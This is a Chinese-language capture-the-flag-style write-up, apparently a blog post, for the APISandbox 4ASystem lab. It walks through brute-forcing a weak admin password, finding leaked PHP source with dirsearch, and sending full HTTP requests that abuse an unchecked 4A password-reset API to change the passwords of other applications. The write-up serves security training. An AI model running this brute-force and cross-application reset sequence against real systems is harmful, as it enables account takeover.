APISandbox_4Asystem

环境搭建

靶场地址https://github.com/API-Security/APISandbox

1
2
3
cd /root/APISandbox-main/4ASystem/docker
docker-compose build
docker-compose up -d

环境搭建在vps上
启动后有4个环境

靶机 地址
web1 123.56.x.x:50080
web2 123.56.x.x:50081
web3 123.56.x.x:50082
4asystem 123.56.x.x:58080

测试完成后删除整个环境

1
docker-compose down -v

概述

该环境总共四个web站,一个4a系统,三个应用分别为web1 web2 web3。同一个用户名三个系统的密码不一样,无法撞库攻击。

4A API:

  1. 登录验证 输入 应用名、用户名、密码 返回成功/失败
  2. 改密码 输入 应用名 用户名 新密码 返回成功/失败

web1,登录密码进入后台,重置密码功能界面输入:用户名、老密码、新密码。后端往4a系统的api验证用户名密码正确之后,后端对4a系统api发起改密码请求,发送:应用名(web1)、用户名、新密码。登录、验证密码、改密码请求均由web1后端对4a系统发起。

攻击过程:审计发现对4a系统api调用未验证新密码,越权更改web2、web3的密码。

弱口令登录Web1应用

首先进入web1环境

1
http://123.56.x.x:50080/

攻击者通过弱口令字典暴力破解出web1应用的口令
登录页面输入用户admin密码随意,点击submit并抓包
发送到intruder对密码进行枚举

通过对返回字节长度进行的从大到小排序以及对返回内容的判断,发现admin的密码为admin888

我们通过这个账号密码即可登录

源代码泄露和审计

这里我们采用渗透常用的dirsearch目录扫描工具

1
python dirsearch.py -u "http://123.56.x.x:50080" -w "C:\Users\Administrator\Desktop\tools\dirsearch-0.3.6\dirsearch-0.3.6\db\dicc.txt" -e ""

通过扫描目录发现源码泄露,url输入自动下载

审计代码发现4a系统resetapi调用未验证旧密码就进行修改密码,通过loginapi获取凭证即可修改

完整源码如下所示(因为wp是后面补充的,懒得再开环境了,所以直接用github上的源码泄露了,未用部署在真实环境的源码泄露,可能ip地址有些变化,其它逻辑功能都没有变化)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
<?php
session_start();
if(!isset($_GET['action'])){
die();
}
$action = $_GET['action'];

$loginapi = "http://4asystem:8080/api/v1/sys_authenticate";
$resetapi = "http://4asystem:8080/api/v1/sys_passwdreset";

if($action==='login' && $_POST['username'] && $_POST['password']){
$username = $_POST['username'];
$password = $_POST['password'];
if(Login($loginapi,$username, $password)!==null){
echo 'success';//
}else{
echo 'fail';
}
}
elseif($action==='changepass' && isset($_SESSION['auth'])){
if(isset($_POST['username']) && isset($_POST['oldpassword']) && isset($_POST['newpassword'])){
$username = $_POST['username'];
$oldpassword = $_POST['oldpassword'];
$newpassword = $_POST['newpassword'];
echo ChangePass($loginapi,$resetapi, $username, $oldpassword, $newpassword);
}
}else{
header(500);
die();
}

// echo Login('http://4asystem:8080/auth',"admin", "web1");
// //echo ChangePass('http://4asystem:8080/auth','http://172.16.0.63:8080/reset',"admin","web2","web1");
function Login($url, $username, $password){
$data = array(
'username' => $username,
'password' => $password,
'application' => 'web1'
);
$curl = curl_init(); // 启动一个CURL会话
curl_setopt($curl, CURLOPT_URL, $url); // 要访问的地址
curl_setopt($curl, CURLOPT_POST, 1); // 发送一个常规的Post请求
curl_setopt($curl, CURLOPT_POSTFIELDS, json_encode($data)); // Post提交的数据包x
curl_setopt($curl, CURLOPT_TIMEOUT, 30); // 设置超时限制 防止死循环
curl_setopt($curl, CURLOPT_HEADER, 1); // 显示返回的Header区域内容
curl_setopt($curl, CURLOPT_HTTPHEADER, array("Content-Type: application/json"));//设置请求头
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); // 获取的信息以文件流的形式返回

$res = curl_exec($curl); // 执行操作
if(curl_errno($curl)) {
header(500);//捕捉异常
}
$header_size = curl_getinfo($curl, CURLINFO_HEADER_SIZE);
curl_close($curl);

$header = substr($res, 0, $header_size);
$body = substr($res, $header_size);
// var_dump($header);
// var_dump($body);
if(preg_match('/200/',$body)){
preg_match('/GOSESSID=(.*?);/',$header, $cookies);
$_SESSION['auth'] = $cookies[1];
return $cookies[1];
}elseif (preg_match('/400/',$body)){
return null;
}
}

function ChangePass($url1, $url, $username, $oldpassword, $newpassword){
$cookie = Login($url1, $username, $oldpassword);
//$cookie = "MTYyNzU1NTA5NHxOd3dBTkRaS1VWaFNVMGhZVjFFMFdFZFFTMFZCVWpkTlVrVllOa2hYTlZBM05qVkpTa2MzTWpOT1ZETkNOakpKUWxoU1JrRkRVa0U9fLekjnGbigV2zA4BL9IPyp7Q6lzJ53hzvmB2TnIyBsXp";
//echo $cookie;
$data = array(
'username' => $username,
'newpasswd' => $newpassword,
'application' => 'web1'
);
$curl = curl_init(); // 启动一个CURL会话
curl_setopt($curl, CURLOPT_URL, $url); // 要访问的地址
curl_setopt($curl, CURLOPT_POST, 1); // 发送一个常规的Post请求
curl_setopt($curl, CURLOPT_POSTFIELDS, json_encode($data)); // Post提交的数据包x
curl_setopt($curl, CURLOPT_TIMEOUT, 30); // 设置超时限制 防止死循环
curl_setopt($curl, CURLOPT_HEADER, 1); // 显示返回的Header区域内容
curl_setopt($curl, CURLOPT_HTTPHEADER, array("Content-Type: application/json","Cookie: GOSESSID=$cookie;"));//设置请求头
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); // 获取的信息以文件流的形式返回

$res = curl_exec($curl); // 执行操作
if(curl_errno($curl)) {
header(500);//捕捉异常
}
$header_size = curl_getinfo($curl, CURLINFO_HEADER_SIZE);
curl_close($curl);

$header = substr($res, 0, $header_size);
$body = substr($res, $header_size);
if(preg_match('/200/',$body)){
return "success";
}elseif (preg_match('/400/',$body)){
return "reset Fail";
}else{
return null;
}
}

横向越权

访问4A环境

模拟登陆web1应用,获得访问API的凭证
http://123.56.x.x:58080/api/v1/sys_authenticate

同样的修改请求包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
POST /api/v1/sys_authenticate HTTP/1.1
Host: 123.56.x.x:58080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: PHPSESSID=0723fa639f0cbe8953d896bd9b0aba8b
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Type: application/json
Content-Length: 73

{
"application":"web1",
"username": "admin",
"password": "admin888"
}

修改application值,利用获得的凭证,越权修改web2、3应用的密码

http://123.56.x.x:58080/api/v1/sys_passwdreset

如上操作,保存上面的凭证,替换cookie内容

完整数据包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
POST /api/v1/sys_passwdreset HTTP/1.1
Host: 123.56.x.x:58080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: GOSESSID=MTc1MzE4MDcxN3xOd3dBTkVGSU0wa3lXRGRSTmpVelJrdE1OMVpMVmpaRlJsZFFWVlpIU0UxUlNFZFhTRkZETTFBelMxZzFOME5DTlV4SFVVUlhORkU9fI390s6OVaZomonmM9YoFGX2DBjx3Go6dwM8JpRNXQGo; Expires=Wed, 23 Jul 2025 10:38:37 GMT; Max-Age=86400
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Type: application/json
Content-Length: 72

{
"application":"web2",
"username": "admin",
"newpasswd": "123456"
}


在这里我们还可以修改web3和web1的密码,先看看web2的密码是否修改成功

进入web2环境
http://123.56.x.x:50081/


登录web2成功

web3环境为http://123.56.x.x:50082/

操作方法与上面相同


APISandbox_4Asystem
http://example.com/2025/08/05/APISandbox_4ASystem/
作者
奇怪的奇怪
发布于
2025年8月5日
许可协议